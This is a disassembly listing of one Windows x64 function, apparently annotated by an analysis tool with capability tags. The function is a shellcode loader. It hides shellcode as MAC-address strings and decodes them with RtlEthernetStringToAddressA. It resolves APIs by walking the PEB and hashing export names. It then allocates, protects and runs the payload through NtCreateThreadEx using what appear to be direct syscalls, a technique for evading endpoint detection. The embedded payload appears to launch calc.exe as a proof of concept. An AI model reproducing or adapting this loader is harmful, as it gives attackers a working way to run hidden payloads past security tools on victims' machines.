Function at 0x140001340
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x140], rax
lea rax, str.FC_48_83_E4_F0_E8
mov qword [rsp + 0x60], rax
lea rcx, str.4D_31_C9_48_31_C0
lea rax, str.C0_00_00_00_41_51
mov qword [rbp - 0x68], rcx
mov qword [rsp + 0x68], rax
lea rax, str.41_50_52_51_56_48
mov qword [rsp + 0x70], rax
lea rax, str.31_D2_65_48_8B_52
mov qword [rsp + 0x78], rax
lea rax, str.60_48_8B_52_18_48
mov qword [rbp - 0x80], rax
lea rax, str.8B_52_20_48_8B_72
mov qword [rbp - 0x78], rax
lea rax, str.50_48_0F_B7_4A_4A
mov qword [rbp - 0x70], rax
lea rax, str.AC_3C_61_7C_02_2C
mov qword [rbp - 0x60], rax
lea rax, str.20_41_C1_C9_0D_41
mov qword [rbp - 0x58], rax
lea rax, str.01_C1_E2_ED_52_41
mov qword [rbp - 0x50], rax
lea rax, str.51_48_8B_52_20_8B
mov qword [rbp - 0x48], rax
lea rax, str.42_3C_48_01_D0_8B
mov qword [rbp - 0x40], rax
lea rax, str.80_88_00_00_00_48
mov qword [rbp - 0x38], rax
lea rax, str.85_C0_74_67_48_01
mov qword [rbp - 0x30], rax
lea rax, str.D0_50_8B_48_18_44
mov qword [rbp - 0x28], rax
lea rax, str.8B_40_20_49_01_D0
mov qword [rbp - 0x20], rax
lea rax, str.E3_56_48_FF_C9_41
mov qword [rbp - 0x18], rax
lea rax, str.8B_34_88_48_01_D6
mov qword [rbp - 0x10], rax
lea rax, str.AC_41_C1_C9_0D_41
mov qword [rbp], rax
lea rax, str.01_C1_38_E0_75_F1
mov qword [rbp + 8], rax
lea rax, str.4C_03_4C_24_08_45
mov qword [rbp + 0x10], rax
lea rax, str.39_D1_75_D8_58_44
mov qword [rbp + 0x18], rax
lea rax, str.8B_40_24_49_01_D0
mov qword [rbp + 0x20], rax
lea rax, str.66_41_8B_0C_48_44
mov qword [rbp + 0x28], rax
lea rax, str.8B_40_1C_49_01_D0
mov qword [rbp + 0x30], rax
lea rax, str.41_8B_04_88_48_01
mov qword [rbp + 0x38], rax
lea rax, str.D0_41_58_41_58_5E
mov qword [rbp + 0x40], rax
lea rax, str.59_5A_41_58_41_59
mov qword [rbp + 0x48], rax
lea rax, str.41_5A_48_83_EC_20
mov qword [rbp + 0x50], rax
lea rax, str.41_52_FF_E0_58_41
mov qword [rbp + 0x58], rax
lea rax, str.59_5A_48_8B_12_E9
mov qword [rbp + 0x60], rax
lea rax, str.57_FF_FF_FF_5D_48
mov qword [rbp + 0x68], rax
lea rax, str.BA_01_00_00_00_00
mov qword [rbp + 0x70], rax
lea rax, str.00_00_00_48_8D_8D
mov qword [rbp + 0x78], rax
lea rax, str.01_01_00_00_41_BA
mov qword [rbp + 0x80], rax
lea rax, str.31_8B_6F_87_FF_D5
mov qword [rbp + 0x88], rax
lea rax, str.BB_F0_B5_A2_56_41
mov qword [rbp + 0x90], rax
lea rax, str.BA_A6_95_BD_9D_FF
mov qword [rbp + 0x98], rax
lea rax, str.D5_48_83_C4_28_3C
mov qword [rbp + 0xa0], rax
mov qword [rbp - 8], rcx
mov qword [rbp + 0xf0], 0x2000
lea rax, str.06_7C_0A_80_FB_E0
mov qword [rbp + 0xa8], rax
xor r15d, r15d
mov qword [rbp + 0xd0], r15
lea rax, str.75_05_BB_47_13_72
mov qword [rbp + 0xb0], rax
lea rax, str.6F_6A_00_59_41_89
mov qword [rbp + 0xb8], rax
lea rax, str.DA_FF_D5_63_61_6C
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xc0], rax
lea rax, str.63_2E_65_78_65_00
mov qword [rbp + 0xc8], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
mov rbx, rdi
nop
mov rbx, qword [rbx]
cmp qword [rbx + 0x30], r15
je 0x140001660
mov rdx, qword [rbx + 0x60]
mov rax, r15
cmp word [rdx], ax
je 0x1400015f5
nop dword [rax]
cmp rax, 0x3f
jae 0x1400015eb
movzx ecx, byte [rdx + rax*2]
mov byte [rbp + rax + 0x100], cl
inc rax
cmp word [rdx + rax*2], r15w
jne 0x1400015d0
cmp rax, 0x40
jae 0x1400019a4
lea rcx, [rbp + 0x100]
mov byte [rbp + rax + 0x100], r15b
call qword [sym.imp.USER32.dll_CharLowerA]
mov ecx, 0x99
mov rdx, 0xffffffffffffffff
mov r8, rax
nop dword [rax]
inc rdx
cmp byte [rax + rdx], r15b
jne 0x140001620
mov r9d, r15d
test rdx, rdx
je 0x140001660
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [r8]
lea ecx, [rcx + rcx*2]
inc r9d
lea r8, [r8 + 1]
add ecx, eax
movsxd rax, r9d
cmp rax, rdx
jb 0x140001640
cmp ecx, 0x3e8557
je 0x140001669
cmp rdi, rbx
jne 0x1400015b0
mov qword [rsp + 0x270], rsi
mov edx, 0xa6be2b35
mov rsi, qword [rbx + 0x30]
mov rcx, rsi
call fcn.140001070
mov rcx, rax
call fcn.140001150
movzx r11d, ax
call fcn.140001260
movzx ecx, r11w
mov rbx, rax
call fcn.1400019b0
mov rcx, rbx
call fcn.1400019b8
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0xf0]
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0xd0]
lea rcx, [r8 - 1]
call fcn.1400019c0
test eax, eax
jns 0x1400016df
mov eax, 1
jmp 0x140001979
lea rcx, str.___sysZwAllocateVirtualMemory_executed____n
call fcn.140001010
mov rdi, qword [rbp + 0xd0]
mov rbx, r15
nop word [rax + rax]
mov rcx, qword [rsp + rbx*8 + 0x60]
lea rdx, [rbp + 0xe0]
mov r8, rdi
call qword [sym.imp.ntdll.dll_RtlEthernetStringToAddressA]
test eax, eax
js 0x140001977
add rdi, 6
inc rbx
cmp rbx, 0x2e
jl 0x140001700
mov dword [rbp + 0xe8], r15d
mov r11d, r15d
movsxd rax, dword [rsi + 0x3c]
mov qword [rsp + 0x278], r14
mov ecx, dword [rax + rsi + 0x88]
mov ebx, dword [rcx + rsi + 0x1c]
mov r10d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r10, rsi
add r14, rsi
lea rdi, [rsi + rbx]
test ebx, ebx
je 0x1400017bb
mov edx, dword [r10]
mov ecx, 0x99
add rdx, rsi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r15b
jne 0x140001775
mov r9d, r15d
test r8, r8
je 0x1400017af
nop word [rax + rax]
movsx eax, byte [rdx]
lea ecx, [rcx + rcx*2]
inc r9d
lea rdx, [rdx + 1]
add ecx, eax
movsxd rax, r9d
cmp rax, r8
jb 0x140001790
cmp ecx, 0xf896aad4
je 0x140001822
inc r11d
add r10, 4
cmp r11d, ebx
jb 0x140001763
mov rcx, r15
call fcn.140001150
movzx r11d, ax
call fcn.140001260
movzx ecx, r11w
mov rbx, rax
call fcn.1400019b0
mov rcx, rbx
call fcn.1400019b8
lea rax, [rbp + 0xe8]
mov r9d, 0x20
lea r8, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0xd0]
mov rcx, 0xffffffffffffffff
call fcn.1400019d1
mov r14, qword [rsp + 0x278]
test eax, eax
jns 0x140001832
mov eax, 2
jmp 0x140001979
mov eax, r11d
movzx ecx, word [r14 + rax*2]
mov ecx, dword [rdi + rcx*4]
add rcx, rsi
jmp 0x1400017be
lea rcx, str.___sysNtProtectVirtualMemory_executed____n
call fcn.140001010
mov edx, 0xf7ecc338
mov qword [rbp + 0xd8], 0xffffffffffffffff
mov rcx, rsi
call fcn.140001070
mov rcx, rax
call fcn.140001150
movzx r11d, ax
call fcn.140001260
movzx ecx, r11w
mov rbx, rax
call fcn.1400019b0
mov rcx, rbx
call fcn.1400019b8
mov rax, qword [rbp + 0xd0]
lea rcx, [rbp + 0xd8]
mov qword [rsp + 0x50], r15
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], r15
xor r8d, r8d
mov qword [rsp + 0x40], r15
mov edx, 0x1fffff
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
call fcn.1400019e2
test eax, eax
jns 0x1400018e2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtCreateThreadEx___u__n
call fcn.140001010
mov eax, 3
jmp 0x140001979
lea rcx, str.___sysNtCreateThreadEx_executed____n
call fcn.140001010
mov edx, 0xafc993bc
mov qword [rbp + 0xf8], 0xffffffffff676980
mov rcx, rsi
call fcn.140001070
mov rcx, rax
call fcn.140001150
movzx r11d, ax
call fcn.140001260
movzx ecx, r11w
mov rbx, rax
call fcn.1400019b0
mov rcx, rbx
call fcn.1400019b8
mov rcx, qword [rbp + 0xd8]
lea r8, [rbp + 0xf8]
xor edx, edx
call fcn.1400019f3
test eax, eax
jns 0x14000195f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtWaitForSingleObject___u__n
call fcn.140001010
mov eax, 4
jmp 0x140001979
lea rcx, str.___sysNtWaitForSingleObject_executed____n
call fcn.140001010
lea rcx, str.___Finished_____n
call fcn.140001010
xor eax, eax
mov rsi, qword [rsp + 0x270]
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140001a20
mov rbx, qword [rsp + 0x280]
add rsp, 0x250
pop r15
pop rdi
pop rbp
ret
call fcn.140001b4c
int3